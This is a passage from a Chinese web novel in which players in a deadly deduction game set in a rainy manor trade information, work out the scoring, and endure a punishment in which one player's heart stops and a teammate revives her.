“原来如此。”玄二筒点点头,挺胸往前走,逼近这个跟自己体型差异巨大的女孩,声音低沉:“可惜啊,我从来不打女人呢?”
面对充满威胁的压迫,她没有退缩,冷静得仿佛机器:“那样的话,你不可能活得下去。”
“什么?”
“不打女人?”他看见她的嘴角勾起,是那种略带嘲弄的笑,女孩缓缓蹦出一句话:“你在讲笑话?”
“哈?”
玄二筒的口气都快哈到沈墨棠脸上了,她却只是嫌恶地皱起眉头,语带不屑:“你想输吗?”
她在说什么?
窗外闪过一道电光,照得屋内有点恍惚。
玄二筒差点怀疑自己抢先摇铃到底对不对,不然为什么眼前这个女孩如此淡定?
她没摇铃,而且在[凶屋],不是会扣分吗?
莫非是设了什么陷阱?
或者东城知道什么隐藏的游戏规则?
先摇铃的反而是不对的?
玄二筒略微迟疑地往后退了一步:“你到底想说什么?”<
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p>屋内安静了一会。
她站在房间的一角,像是一条盘踞在角落里的毒蛇,像是在观察,然后才幽幽开口:“你不杀我,我得回报你。”
“哈?!”
玄二筒完全摸不着头脑,隐约觉得这女孩比之前遇到的玩家都要不正常。
说实话,他见过不少心理变态的玩家,尤其是北城,以SHA人、凌虐、折磨自己或他人为乐……但眼前这个齐刘海女孩,周身散发出的,却是种“平静的疯感”,仿佛对她而言,生与死都无关紧要,重要的只有游戏本身。
“我告诉你东城的情况。”
她的语气理所应当,始终注视着这边,目光毫无波澜:“我们已经和南城达成了协议,我们从单数房里面选,南城从双数房里面选。”
玄二筒脸色一僵,但很快恢复,在屋内昏暗的灯光中保持面无表情。
他想起白天的时候,自己和玄九条、玄一筒沿着庄园道路,穿过暴雨中古香古色的建筑。南城的毛衣老头和他的小姑娘跟班突然找上来,进行“选房商议”,约定由北城选“单数房”,南城选“双数房”。
所以南城也和东城做了同样的约定?
原来如此,难怪那老头热情得有些过分。
“还有,我们找到春兰和马五的住处。”沈墨棠强调:“春兰,管家……马五,护院。”
玄二筒眼神没有闪避,一言不发。
沈墨棠停了片刻,继续:“明天,我们要是发现什么,会再告诉你。”
说完她退到墙边,叉着手,靠着墙,闭上了眼睛。
暴雨逐渐变小,风也渐渐平息,玄二筒却思绪纷飞,好比雨后春笋破土拔高。
各种关于游戏的猜想纷至沓来,包括南城的“战术”、摇铃的结果、接下来如何选房、管家春兰、护院马五……他看向闭目养神的沈墨棠,试图从那藏在刘海阴影下的清秀面孔中,找到一丝丝解答。
玄二筒搓揉着下巴的胡渣:“你……为什么告诉我这些?”
她垂着脑袋没动,只是开口回应:“我说了,为了报答你的‘不杀之恩’。”
这是什么理由?
玄二筒哑然失笑,一时间不知道该如何看待这个理由。
她是在开玩笑?还是认真的?
“那……”玄二筒尝试开口,却不知道该说些什么,竟然有种“摇了铃铛却像是输了”的错觉。
他站了一会,然后拉来椅子坐下,又等了一会,终于忍不住开口问:“你这么做,你队友同意吗?”
“她们听我的。”沈墨棠有问必答:“再说了,我私下告诉你,她们也阻止不了。”
这说法似乎滴水不漏……
虽说平白收了个其他阵营的“间谍”确实很赚,但玄二筒还是留了个心眼,想了想,冷笑两声说:“噢,你以为我会信你?”
“你可以不信。”
“哈?”
“我只负责说,信不信你得自己判断。”沈墨棠终于睁开眼,目光清冷无神:“我说的都是实话。”
窗外暴雨中,响起模糊的梆子声。
……
“估计是吓疯的,所有信息全交代了,我都没动手。”
玄九条仰起脖颈,来回伸展肩胛处的肌肉,因为疼痛,导致脸颊时不时抽搐一下。
“东城这情况挺复杂啊!我昨晚遇上的那个,东城那个矮的,也疯。”
“真想看看她跟锅盖头碰上,会是谁更疯呢,咯咯咯……”
玄九条顿了一下:
“哎?不过,她为什么把自己打成那样呀……哎呦!疼!”
89. 巫凌海庄园16
夜里,依旧响了四次梆子声,时间间隔相同。
梆子响的时候,宋白河扒到格子窗前,朦胧的夜色中树影婆娑,没有半点灯火,没有其他任何建筑结构,仿佛这间屋子存在于另一个地方。
与世隔绝。
宋白河回头,看到沈墨棠歪着脑袋,嘴巴微张,发丝垂在脏兮兮的侧脸上。
睡着了。
“……”
刚才还说着话,怎么转头就睡了。
宋白河咽下嘴边的话,缓步走回长椅。
刚想坐下,却发现沈墨棠迷迷糊糊动了起来——她合着眼,先是整个上半身侧倒在长椅上,尝试用手枕着脑袋,可双腿没地方搁,只能以别扭的姿势并着,缩起来又放下,始终找不到一个舒服的姿势。
最终,她自己睁眼醒了过来,坐回板正的状态。
“你在干嘛?”
眼前的宋白河,正轻手轻脚地将多宝架上的瓷器搬到地上。
听到沈墨棠的声音,他很快回了句“等我一下”,接着小心翼翼将整个多宝架横放在地,木头架子在这过程中发出几声咿呀声。
在沈墨棠的不解中,宋白河示意她先起身。
他将长椅挪到多宝架旁边,将它们组合到一起,最终完成了他的“作品”:“这样腿有地方放,你可以躺会儿。”
沈墨棠:“……”
她本能地抓着宋白河伸过来的手,抬腿跨过横躺的多宝架边缘,坐回长椅。
有点用,但不多。
毕竟长椅跟多宝格不是一样高。
她抬起脚,踩在多宝架上,稍微舒服一点点,抬头看向宋白河:“你不累吗?”
“还好。”
“那你自己忙,我躺会。”不知道是不是因为白天受到过“惩罚”的关系,沈墨棠觉得自己又累又渴又饿。
滑躺到长椅上,试了试姿势,又从侧躺变成仰躺,双腿搁在多宝架上,双手搭在肚子上,总算找了个舒服点的姿势。
不一会,她的呼吸就变得又缓又重,刘海静静趴在额头两侧。
宋白河望着那张昏暗光线下的面孔。
静静的,出了神。
有那么一瞬间,他突然想起了小时候给妹妹读的童话故事。
【他注视着沉睡的公主,心中不禁产生了无限的柔情与敬意。】
“咳……胡思乱想些什么啊!”
意识到自己控制不住脑子,宋白河晃过神来,连忙撇开脸,去看墙上密密麻麻的古字。
……
梆子第三次响起之后,沈墨棠再也睡不下去了。硬木头硌的人腰酸背痛,浑身骨头都是麻的,从椅子上起身都困难。
她抓起身上盖着的西装:“这是什么?”
“我的、我的衣服。怕你着凉。”宋白河磕磕巴巴解释。
沈墨棠眉头一皱,先看西装再看宋白河,将西装往他一递:“穿上,我可不想跟裸.男共处一室。”
“……”宋白河沉默地伸手接过,将西装套上,露出一截腰。当着沈墨棠的面,他又有些不好意思,只能小声地嘟囔一句:“不好意思有点小。”
沈墨棠看着他略微窘迫的样子,突然想笑。
她转过头,窗外还是黑漆漆一片,什么也没有。
趁着没有陶瓷娃娃跟着,宋白河还是问出憋了好一阵的疑惑:“你觉得这个房间,是在庄园里吗?”
沈墨棠抬手打了个哈欠,费力拉伸酸楚的筋骨。
她清楚宋白河的问题:“昨天我故意走得很慢,记下了从这里到燕台的路……但我发现,那条路,是不存在的。”
宋白河蹲坐在多宝架的边框上,在沈墨棠身前低低的,稍微抬头投来目光:“什么意思?”
“那段游廊不存在。”沈墨棠伸完胳膊又伸腿,“我们上了燕台,又从燕台离开的时候,原先有一段连接这间屋子的游廊就不见了。”
游廊不见了?
宋白河灵光一闪,说出自己的理解:“你的意思是,我们只能从这里出去,但找不到回这里的路?”
沈墨棠:“嗯,游戏设定的吧。”
永夜城的科技水平那么高,再怎么光怪陆离的事都可以理解。
只不过……
“明天。”沈墨棠沉下目光,看向宋白河,停了一秒:“你要救我。”
“你不摇铃?”宋白河对上沈墨棠的视线。
沈墨棠点头:“由你来摇铃。”
宋白河胸口闷闷的。
他猜不到为什么要由自己来摇铃,虽然沈墨棠这么说,肯定有她的道理,但他又不想让她承受第二天“惩罚”带来的痛苦。
沈墨棠伸手拍了拍宋白河的肩膀:“到时候命就交给你了,记得动作要快。”
她没有选择摇铃,所以天亮后将再次接受惩罚。
沈墨棠不清楚自己到底能不能扛得过去,只知道恐惧攥住了她的心,越来越紧,越来越近。
有句俗话叫“恐惧是人类的本能,勇气是人类的赞歌”——这对沈墨棠来说简直就是屁话。
她从来没打算面对恐惧,她只是喜欢真相带来的快感。
“我一定会。”
宋白河打断了沈墨棠的思绪。
他的承诺掷地有声,眼眸里洋溢出决然,仿佛整个身体都在发热:“我不会让你有事的!”
还算……
还算靠谱吧。
那种莫名的火热,竟像一只手,从深渊里打捞出一些看不见的东西。
沈墨棠侧开脸,看着墙上看不懂的字,岔开话题:“我想,墙上的字应该跟庄园的背景有关。”
“但我们都看不懂啊。”宋白河记得昨天已经讨论过这件事。
“嗯。”
屋内安静了下来。
宋白河顺着沈墨棠沉思般的目光,看向墙壁上的古文字,没有打断她的思考。
安静持续一会,沈墨棠突然起身:“换你躺会。”
宋白河:“啊?”
“去,还剩半小时就天亮了。”
*
东城【蓬莱】,顶楼俱乐部。
大门被推开,青八筒顶着干净有型的金发,径直走向吧台。
他眼角瞥到角落的沙发,不由得一愣:“你还在呢!?”
“嗨,八哥又来啦。”青三万窝在沙发里,面前桌子上有空的蛋糕碟和半杯樱桃汁。她正忙着刷社交媒体,跟青八筒打招呼时眼睛都没抬。
青八筒见怪不怪,自顾自在吧台倒了杯冰啤,看向屏幕:“天亮啦。”
“嗯,第二天马上要出结果了。”青三万在手机上疯狂打字,一边说着:“城里大家都在说,第二天应该要死人了。”
“死谁?”
青八筒回头看了眼青三万,青三万头都没抬,只是摊开手表示不知道。
屏幕里,【巫凌海庄园】的玩家正陆陆续续出现。
*
游戏的“第三天”是个晴朗的日子。
地上大部分雨水都被晒干了,假山石砾呈现出发白的状态,植物迎着阳光呼吸,活得茂盛而诡谲。
玩家们跟在各自的陶瓷娃娃身后,从不同曲桥登上湖中岛,来到燕台。
根据沈墨棠的要求,为了不让其他城区发现东城昨晚的策略,宋白河走得更快一些,先一步与周彤会合。
沈墨棠故意跟宋白河错开,直到陶瓷娃娃发出充满威胁性的提示,并试图动手时,她不想再步昨天的后尘,于是加快脚步。
上了燕台,她又慢下来,下意识观察每个人。
当然,玩家之间也都在相互观察,试图从彼此的神态中挖掘信息。
沈墨棠面无表情,坐到两名队友中间,一股视线从正对面紧紧黏到她身上。
抬头找到视线的主人,是北城的秃头男。
见沈墨棠抬头,北城
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的秃头男张嘴。
还没等他开口,陶瓷娃娃突然齐声发出机械音打断他:“玩家到齐,公布当前分数情况。”
嗯?
玩家们都看向西城——西城只有两个人——大块头没出现。
山墙的血字发生变化:
【DAY3】
【00:00】
【子:0】【丑:3】【寅:2】【卯:4】【辰:3】【巳:2】【午:1】【未:3】【戌:0】【酉:4】【申:4】【亥:5】
底下多出两行小字:
【今日可选择房间:“甲”、“乙”、“丙”、“丁”、“戊”、“己”、“庚”、“辛”】
【角色“老爷:巫本全”玩家已淘汰,分数清零】
巫本全?
老爷?
是西城的大块头?他淘汰了!?
红蟹的规则里提到过“入夜前若玩家没能选择房间,将被移除游戏,个人积分清零。”
西城的大块头成为【巫凌海庄园】的第一个出局者!
意识到这点时,在场11名玩家神色各异。
西城的中年男将手肘撑在翘着的腿上,扶着额头;小青年静静望着山墙,不停眨眼。
两人神色间全是藏不住的沮丧。
可选房间只剩下8间,肯定有人会被淘汰。
这只是开始。
沈墨棠面对山墙的信息,紧锁眉头。
……
宋白河的“辰”是3分;周彤的“酉”是4分;而沈墨棠的“午”依旧是1分,三人加起来总共8分,刚好占总分31分的1/4。
根据这两次的结果可以推断,只要保证宋白河和小六姐每天得分,东城至少不会落后。
前几回合先咬住分数,后面才有争夺优胜的机会!
此外,昨天单独领先的“亥”今天依旧以“5分”单独领先;而“寅”摆脱了最低分,最低分的玩家变成0分的“子”和“戌”。
根据规则,淘汰的人积分将被清零,所以大块头必定是“子”或“戌”当中的一个。
“子”和“戌”昨天都是1分,也就是说除了大块头以外,还有另一名玩家在昨夜倒扣了1分。
昨夜有几个人被扣分了呢?
总分31,扣去昨天的总分16,今天总共产生了15分。
有人扣分,就必定会给[厌恶]TA的人加分;有人加分,就必定会给[喜爱]它的人加分——根据规则,游戏中的分数都是“成对”产生的,不可能出现单独1分而不影响其他人的情况,场上总分也不可能是单数。
但山墙显示的总分明明是31分。
这只能证明,大块头淘汰的时候,他的分数是单数,被直接清零。
游戏中,玩家每天能获得的分数为“-1到+3”之间,而大块头第一天的分数为“1”,所以他淘汰的时候,分数只可能是单数的“1”或者“3”。
如果是“1”,昨晚就总共产生16分,证明有四名玩家被扣了分。
如果是“3”,昨晚就总共产生18分,证明有三名玩家被扣了分。
沈墨棠是其中之一。
问题是其他几个扣分者会是谁?
她观察了其他玩家,没发现有谁像昨天那样受了伤,仿佛昨晚什么也没发生过。
有人扣分,却没有争执?
沈墨棠思索半天,嘴角突然间向上扬起——游戏越来越有意思了!
……
【00:01】
【00:02】
【00:03】
【00:04】
这就又开始了?
红蟹呢?今天红蟹不出来遛遛吗?
南城的老仙儿率先打破沉默:“哎我说,咱这位‘巫老爷’真是死得突然呐!是出自哪位猛士的手笔来着?”
他笑嘻嘻说着,斜眼瞟向宋白河。
90. 巫凌海庄园17
东城【蓬莱】,顶楼俱乐部。
青八筒盯着电视大叫:“嚯?真的死人了喔?”
“是啊,四方战的官方社媒也刚刚更新。”窝在角落沙发的青三万吸溜一口,喝光了桌上的一大杯樱桃汁,立刻低头继续刷着手机,念道:“巫本全,身份巫老爷,巫凌海庄园的主人。”
见她不念了,青八筒十分有眼力见,拿着一瓶新的樱桃汁走过来,问道:“慕容,红蟹更新啥子咧?”
青三万划动屏幕,索性将一篇文章投影到空中。
【
巫本全。
身份:巫老爷。
巫凌海庄园的主人。
十岁,巫本全家中遭灾,孤身流离,被海员外收养。
海员外一家待巫本全不薄,尤其是毓舒,她是海员外的堂侄女,年纪和巫本全相仿,时常同他扮儿戏。巫本全在海员外家待了六年有余,后来受战乱波及,海员外不幸罹难,全家流离失所。
】
青八筒看了全息影像的内容,拨弄头发:“就这?”
“还有很多。”
青三万又扒拉了几下,投出一篇文章,替换掉刚才的内容。
【
十六岁,巫本全与海员外一家失散,孤身从了军。
先是由大头兵干起,三年后升下士军衔,第四年便当上营长,领兵。在一次战役中,巫本全率兵为海员外报了仇,诛杀了当年害得海员外妻离子散的仇人。回部队后因不听指挥遭受处分,离开军队,随商船下南洋谋生。
】
青三万又一划。
【
二十一岁,巫本全下了南洋。
南洋比军中更加险恶。巫本全数次遇险,幸有马五护其左右,多次救其性命。马五是巫本全在军中的跟班,在巫本全受处分离开军队时,随他下了南洋。马五是个粗人,为人忠厚勇武,不贪财,只好酒色,但在巫本全看来,马五做事拎得清,没什么大毛病。
】
青八筒:“等等,这是角色人物生平?”
青三万点头:“红蟹发的,只要有角色淘汰了,就会放出该角色的生平简介……但是参加四方战的人不知道。”
“切,观赏性倒是做得有模有样……”
要是有办法把这些信息传递给小九她们就好了。
【
三十一岁,经过10年漂泊奋斗,巫本全带着妻女从南洋回国,建了巫凌海庄园以安家立命。
由于庄园地处偏僻,周围常有盗匪出没,马五便成为庄园的护院。
巫本全的第一任妻子是个南洋人,早先有过一个儿子,但在三岁时夭折。许是伤心过度,妻子从那时起便经常得病。回国刚一建成庄园,她又生了一场大病,留下孤女,离世。
届时巫本全因南洋落下的病根,已无法生育。
】
“还有两段。”青三万伸手接过樱桃汁。
【
三十七岁,巫本全以为将就此孤独终老,未曾想在往沿海做生意时,遇上了毓舒和她的儿子。
故人再次相见,已物是人非。毓舒为了谋生,在大城市当歌女,当时她的儿子已经七岁大,算起来正和巫本全早夭的儿子同个年纪。毓舒说她不知道孩子生父是谁,巫本全知晓歌女的心酸,便没再深究,只是将她母子接回巫凌海庄园,好生赡养。
三个月后,他办了婚宴,将毓舒正式娶进门,成为巫夫人,并认了毓舒的儿子当巫少爷。
只不过,毓舒的儿子性情顽劣,屡教难改,毓舒又常常护着他,令巫本全十分困扰。他常常问自己:真的要将半生拼搏积攒的家业,交给毓舒的儿子继承吗?
】
“啪!”
青八筒在手掌中落拳:“我晓得咯!毓舒就是巫本全的白月光!巫本全[喜欢]的人这不就出来了?”
“八哥,你还懂白月光呢……”青三万揶揄了一句,继续刷最后一段文本。
【
四十岁,巫本全安顿好庄园,外出营生。
在半年后的归途中,他见一孤儿险死于路边,心生怜悯,便将其救活带回庄园,正如当年海员外收留他那样。
之后的几年,巫本全越见这孤儿越心生喜欢,便请了先生来教。
孤儿与毓舒的儿子年纪相仿,性情却大不相同。先前的先生被毓舒的儿子气跑了,孤儿却与先生相处融洽。孤儿虽不善与人交流,但为人正直淳朴,深合巫本全心意。
巫本全很快将其收为养子,心中萌生传其家业的想法。
他知道毓舒肯定不会同意,但他不想让她的顽劣儿子败光他一生心血。
巫凌海庄园便是巫本全一生的心血。
】
“没了?”
“没了。”
青三万收起投影,问了句:“八哥,这么看下来,你觉得巫老爷[厌恶]的人是谁?”
*
一对对目光投向宋白河,看得他略显局促。
但没人说什么,他们只是看过来,很快便又转移注意力。
老仙儿试图将“巫老爷”大块头的淘汰归咎于宋白河,将仇恨集火到东城身上,但收效甚微。
昨天早晨集合的时候,大家伙都能看到,大块头腹部那道伤有多狰狞,当然也能看到包扎伤口用的是西城领带和东城的衣服。
只有一个可能,西城跟东城头天晚上进一个屋,而且东城还赢了。
毕竟东城那后生只是光着膀子,身上没有太多致命伤。
东城那后生实在是个有趣人,说话温温柔柔,下手却挺狠!下完狠手还给人包扎起来,也不知道是什么意思。
永夜城的居民,在日复一日的生死游戏中,对死亡早已麻木。
求生的本能有时候似有若无,更像是难能可贵的奢侈品。
更别提去救人性命。
“哎哟,今天大伙儿倒是不着急咧?”老仙儿悠悠地又开口,依旧抖着他的粉色凉鞋,一双眼睛四处乱瞟,这看看那看看,颇有种村口纳凉老头的既视感。
如他所说,第三天的清晨,没有人急着离开。
或许是还未对“巫老爷”的淘汰反应过来,或许是想留在燕台做点什么,总之东、南、西、北四个城区的玩家就这样对坐着,相互沉默。
燕台只有老仙儿闲适的轻哼,唱着什么“哩个啷个哩”的小曲,夹杂着咿咿呀呀的戏腔。
没人打断他,也没人搭理他。
沈墨棠和其他人一样,不露声色观察每个玩家。
刚和小六姐交换了信息,周彤昨晚的“戊”房间只有她自己一人,是[吉屋]。这样一来,第二天晚上,东城基本脱离了昨晚的“战况”,毫不知情。
“诸君,且听某言……大伙儿,要不这样?”老仙儿收起戏腔,说道:“咱这玩游戏嘛,也不能瞎玩,咱就各自说说自己咧?”
这提议突如其来,没人猜出他葫芦里卖的什么药。
大概过了有两秒,西城的中年男率先搭茬:“说自己什么?”
中年男身材中等,面相狡黠,脸上泛着异样的油光,明显是护肤品用多了导致皮肤呈现奇怪的状态,看起来太过讲究相貌仪表,以至于从外观到行为举止都稍显油腻。他托着脱臼的右胳膊,脸上挂着谨慎的神色,似笑非笑,看着老仙儿。
老仙儿这次倒也不卖关子,踩住凉鞋说:
“咱大伙儿嘛就公开讨论,都说说昨儿进的是凶屋吉屋咧?”
提到“公开讨论”的时候,老仙儿抬手做了个“发誓”的动作,像是强调这件事绝对公平。
中年男基本没有犹豫:“这样啊,那我是OK,他们呢?”
“东城咧?”老仙儿转向另一边,看着沈墨棠:“女娃儿?”
沈墨棠对上老仙儿的眼神,双方都看得出彼此眼眸中平静如水,没有半分笑意。
参加四方战的玩家都不是萌新,就算每个人都按照老仙儿的提议说了,也肯定有人会撒谎。
但往往,谎言同样具有价值。
从谎言中寻找真相,是永夜城必须的生活能力。
说实话,沈墨棠不反对这么做。
只不过她的时间不多了……
【02:46】
【02:47】
【02:48】
【02:49】
山墙上的时间一秒一秒跳动。
沈墨棠没回应老仙,而是在他的注视下,跟周彤、宋白河耳语了几句。
宋白河“腾”地一声,头也不回起身离开。
周彤则是先看一眼沈墨棠,随后又看向戏台上的其他人,伸手握住她的手,点了点头,再放开。
有了小六姐的掩护,沈墨棠立即起身跟上宋白河,两人不
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声不吭走下燕台。
“哎?”
老仙儿像是被气笑:“这娃儿虎啊?咋就走咧?也忒不合群了……哎?你们不一起咧?”
他看向周彤。
周彤端坐原地,冷冷的一言不发。
东城三人要分开行动?
大部分玩家都投来探究的目光。
唯有北城的秃头男同样起身,独自离开,留下诧异的两名队友。
“做啥咧?”
转眼间三人离开,燕台还剩八个人。
……
“走快点。”沈墨棠催促宋白河。
两人一前一后,顺着曲桥赶往岸上。
第三天的时间已经进行三分多钟,虽然规则里没有说明天亮后的“惩罚”具体会在什么时候降临,但根据昨天的经验,应该差不多要来了。
沈墨棠今天还是要接受“惩罚”,所以必须躲到没人的地方,不能暴.露自己被扣分这件事。
但如果她独自离开,很容易被其他城区锁定她是“扣分者”;如果东城三人都离开,又怕老仙儿在燕台捣什么鬼,联合其他两队针对东城。
所以,沈墨棠让周彤留在燕台观察掩护,自己和宋白河离开。
既能够混淆其他阵营的视线,又能够让宋白河对自己进行急救,保证自己在经历那种“惩罚”后还能醒过来。
可现在……
“他跟过来了。”宋白河回头看了眼,北城的秃头男正往这边追来。
从集合开始,秃头男就一直看沈墨棠。
“走。”沈墨棠拧着眉头,与宋白河踏上岸边游廊。
虽然白天有“陶瓷娃娃”存在,玩家之间不能进行暴力冲突,但游戏没限制玩家对其他人进行尾随。
秃头男到底想做什么?
“宋白河!”
来了!
一瞬间,沈墨棠的脸色变得十分难看,瞳孔放大,浑身颤抖,紧咬牙关。她站在游廊白墙后,躲开湖中的视线,半个字都吐不出口。
陶瓷娃娃猛抓了她一下,她便两眼一翻,失去意识!
惩罚降临了!
宋白河及时从身后抱住她。
他低头,听不见她的呼吸和心跳,赶紧将她平放在地上,准备急救。
可这时,身后却有扑通的倒地声响起——秃头男也躺在地上。
宋白河不由得一愣。
……
那颗心脏在狂跳,鲜血迸发,彩球飞舞,泼洒在金色的琉璃顶上,留下刀削斧凿般的血迹。
巨人从黑暗的大地上站起,在灰色的天空下低头,挥手拨开云雾,睁眼俯视。
沈墨棠仰头,那饶有意味的眼神看穿她的身体,洞悉她的灵魂。没有谁比巨人更接近真相,也没有人能接近巨人,就算是被巨人攥在手中,被踩在脚下,甚至被吞入腹中,都无济于事。
世事如此,客观如此,你的想法也是如此。
就像赋予一块墙角污渍意义。
就像迷恋那个不存在的自己。
义无反顾,不知悔改。
沈墨棠醒来,只是睁开眼,有了呼吸,有了心跳,有了脉搏,能看,能听,仅此而已。
“沈墨棠,沈墨棠!”宋白河在旁边低低叫着,既担心,又怕被别人听到:“沈墨棠,快醒醒!”
“沈墨棠!”
胸口一痛,浑浊的湖水从肺部挤出,瞬间满嘴的苦涩。
沈墨棠终于真的睁眼醒来,疯狂吐着那些满是淤泥和腐质的湖水,不停呕吐咳嗽,浑身发虚颤抖。要不是宋白河在旁边及时拉起了她,恐怕吐出来的东西又要弄脏她衣服。
“哕~哕~”
沈墨棠跪撑在地上,真是受够了。
这惩罚真的比死了还难受!
她喘着粗气,微微侧脸,视线穿过发丝和宋白河的睫毛,看到不远处站在游廊里的陶瓷娃娃,以及陶瓷娃娃脚边躺着的秃头男。
“他也晕倒了。”宋白河说:“跟你同时……你还行吗?”
沈墨棠点点头,被宋白河扶着坐到游廊边,背靠墙。
宋白河擦去沈墨棠脸上的污渍:“你休息一下,我去看看他。”
话音刚落,游廊入口的阳光中又出现几个身影。
是两个高大的陶瓷娃娃,以及它们身前的一男一女。
司徒雅,连衣裙女人。
91. 巫凌海庄园18
北城都是一群神经病——人尽皆知!
出于本能的防备,宋白河将沈墨棠护在身后,独自面对北城的三人。
沈墨棠刚刚清醒还十分虚弱,她艰难呼吸,半睁着眼睛,朦胧中看到宋白河攥起拳头,青筋必现。
白天有陶瓷娃娃在,北城的人应该不敢做什么。
果然,游廊尽头的北城二人并没有靠近,而是将注意力更多放在队友秃头男身上。
“秀老板,兵哥在这。”司徒雅更像是没把宋白河和沈墨棠放在眼里。
穿着黑色百褶连衣裙的“秀老板”,这才“呀”地发出一声矫揉造作的叫声:“果然发作了啦!”
她托着自己的胳膊,上前查看秃头男的状况,像是要蹲下但又因为裙摆的关系没蹲下,只是一味催司徒雅:“你还愣着干什么!帮忙帮忙!”
“真麻烦……”
司徒雅的声音很低,比新人战的时候更低,嗓子仿佛被烫过,然后长久地泡在冰水里。他轻松将失去心跳失去呼吸的秃头男扛到肩上,就像陶瓷娃娃曾对西城大块头做的那样,然后问了句:“去哪?”
“等一下呀。”
秀老板突然扭头注视着宋白河。
不一会儿,她咬着自己牛血色的手指甲,“咯咯咯”笑着,一步一挪往这边走来。
宋白河往前站,沈墨棠强撑着虚弱的身体扶墙站起,透过他宽大的肩膀看到秀老板的身影越来越近,宛若危险的黑蝴蝶。
她要干什么?
秃头男也倒下了?
他也受到了“惩罚”?
所以昨晚秃头男被扣分了?
沈墨棠还没从“地狱”中缓过神来,脑子乱乱的,像是被搅浑的池塘,枯叶、游鱼、淤泥、沙砾全都混在一起,活的死的,好的坏的,清的浊的,都分不清了。
秀老板冲着宋白河,靠近他,凝视他,几乎要与他脸贴脸,神色间饶有意味。
沈墨棠只看到宋白河一步步后退,最终背部贴上自己,才狠狠站住。
秀老板的脑袋猛地从宋白河肩膀旁探出,看向沈墨棠:“呐,东城的。我能跟你单独聊聊不啦?”
像只侧头发出咕咕叫的猫头鹰。
沈墨棠分辨不出对方表情的意思,没有拒绝。
“就一句话。”秀老板往后退,终于没有要把身体贴上宋白河的意思。她伸手拍着宋白河的肩膀:“哎呀,我不会乱来啦,就问个事,大白天的你放心!”
沈墨棠还没反应过来,身前的宋白河迅速转身,低声轻语:“要不我们走吧……没必要理他们……”
抬头,撞上他目光切切,沈墨棠稍稍安心。
说实话,自己倒是想看看北城的人要问些什么。
现在东城对第二个夜晚的情况基本上一无所知,如果这时能和其他队伍的人达成基本的信息交换,倒是省去许多沟通成本。
沈墨棠冲宋白河摇了下头,又点点头,示意他放心,暂时退开。
“就是啊,妹妹。”秀老板看了不愿走远的宋白河一眼,编排着:“我看这男的当男朋友不太行啊,看得太死了,没得个人空间,你说对不啦?”
说话声不大,但宋白河还是听得清清楚楚,耳朵蹭的就红了。
见他目光投来,沈墨棠又对他点点头示意没事。
白天有陶瓷娃娃在,玩家不敢做什么出格的行为。
得到沈墨棠的眼神,宋白河才迟疑着又往旁边挪了两步,到另一面白墙处站定,面对游廊入口处的司徒雅。从表情上看,司徒雅也看不懂秀老板什么操作,但他似乎早已习惯她的各种怪异行为,并不太在意。
这下,算是为两个女人留下一定的“私聊空间”。
“什么事?”沈墨棠问。
到底什么事?
还得躲着别人,单独来问?
沈墨棠盯着秀老板两颗大眼睛里,倒映出自己的困惑。
秀老板“咯咯”笑了一声,倾身向前:“你昨天为什么要扇自己嘴巴子呀?”
就问这个?
沈墨棠抿着嘴唇。
“我晓得你第一晚是跟兵哥一个房间,”秀老板贴得很近,弯着腰,想要亲上似的:“但是他没对你动手呀,你为什么要把自己扇成这样子呢?”
面对这种咄咄逼人的问法,沈墨棠倒是有点招架不住。
她抗拒地皱着眉,上半身往后退,尽量拉开距离后,嘴里蹦出几个字:
“我扇着玩的。”
对方沉默了,只是睁大两颗眼睛盯着看,脸上写着一副“你看我信不信”的表情。
沈墨棠也回视,眼眸里毫无波澜。
逐渐明朗阳光穿过游廊花窗,投下一格一格的阴影,颇为迷离。
“咯咯咯!”秀老板突然笑出声,笑得花枝乱颤,又像是扯到脱臼的胳膊似的迅速止住笑,打开嗓子说道:“你真是个怪人,不想说就算了……总之,不是兵哥动的手就对了啦?”
“兵哥”应该就是秃头男吧?
沈墨棠看向司徒雅扛着的秃头男,摇摇头。
她反问道:“他昨晚跟谁一个房间?”
秀老板歪着上身,挡住沈墨棠的视线:“你想知道吗?我们交换?你告诉我你们的房间,我告诉你我们的呀?”
说得毫无负担,显得坦坦荡荡。
沈墨棠犹豫了一下,点头:“好。”
自己在游戏之初就抛出“合作”的橄榄枝,如果能尽量获得信息,让游戏局势变得明朗——纯拼智略的话,游戏肯定更容易把控。
只见秀老板瞥了眼吐了一地的浑浊湖水,又抬眼盯着这边:
“我先说吧,昨晚兵哥选中了凶宅……凶屋,啊,你懂得啦。该你了。”
果然,秃头男是没摇铃受到“惩罚”了?
沈墨棠想了想,微微勾起嘴角:“我昨晚也选中了凶屋。”
“你跟谁一起呢?”秀老板追问。
沈墨棠想了想,摇摇头:“我只能说,我没摇铃。”
如果这时候透露自己昨晚和宋白河一个房间,那也没必要躲到这里来接受“惩罚”了。
秀老板停了好一会,努起嘴:“哎呀,算啦。我们防备心都太强了啦,合作不了呀。走啦走啦。”
她摆摆手算作道别,转身回到司徒雅身边。
“等下。”沈墨棠叫住了她。
难得有互换信息的机会,不能错失良机。
哪怕双方能交换一点点有用的信息,都会领先于南城和西城。
“有个角色是木先生。”沈墨棠放开声,抛砖引玉:“另外,如果你们有人是管家春兰还是护院马五,可以去‘长香居’逛逛,可能会有收获。”
这个情报是东城在这“两天”内找到的,算是不俗的筹码了。
秀老板和司徒雅果然回头。
宋白河已经走回沈墨棠身旁,视线与北城两人对上。
“哦。”秀老板明显停顿,先是看向司徒雅,又看向游廊外的湖光,像是思考什么,有那么一瞬间,还像一头静止守候的猫头鹰。
最后她终于是没有直接走开,而是转向沈墨棠:“巫老爷那儿不行,没有生育能力。”
“……”
是游戏情报?
秀老板继续:“但是庄园里有两个少爷。”
两个少爷?
沈墨棠感受到宋白河投来的视线。她没有搭理,保持着面无表情,不想让对方看出任何关于“少爷”的反应。
沉默持续了几秒。
“那就这样,合作愉快啦!”秀老板又“咯咯咯”笑两声,挥手告别。
她和司徒雅,以及被司徒雅扛在肩上的“兵哥”,顺着游廊往另一侧离开,毫不留恋,也并不
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着急,判断不出他们究竟想去哪儿。
可以确定的是,那个方向不是往“长香居”。
直到北城的身影走远消失,沈墨棠才松开胸中的气。
她趔趄两步差点跌倒,幸好宋白河眼疾手快揽住了她。
“怎么了?没事吧?”
“他们是怎么捱过来的……”沈墨棠只感受到一只强有力的胳膊,虚弱地靠在宋白河身上,被他身上的热气隔着西装熨得舒服许多。
他担忧的声音在头顶响起:“他们?”
“嗯。”
沈墨棠眼神微冷。
昨天,北城的“秀老板”和西城的“中年男”都遭受了“惩罚”,但他们都挺过来了。
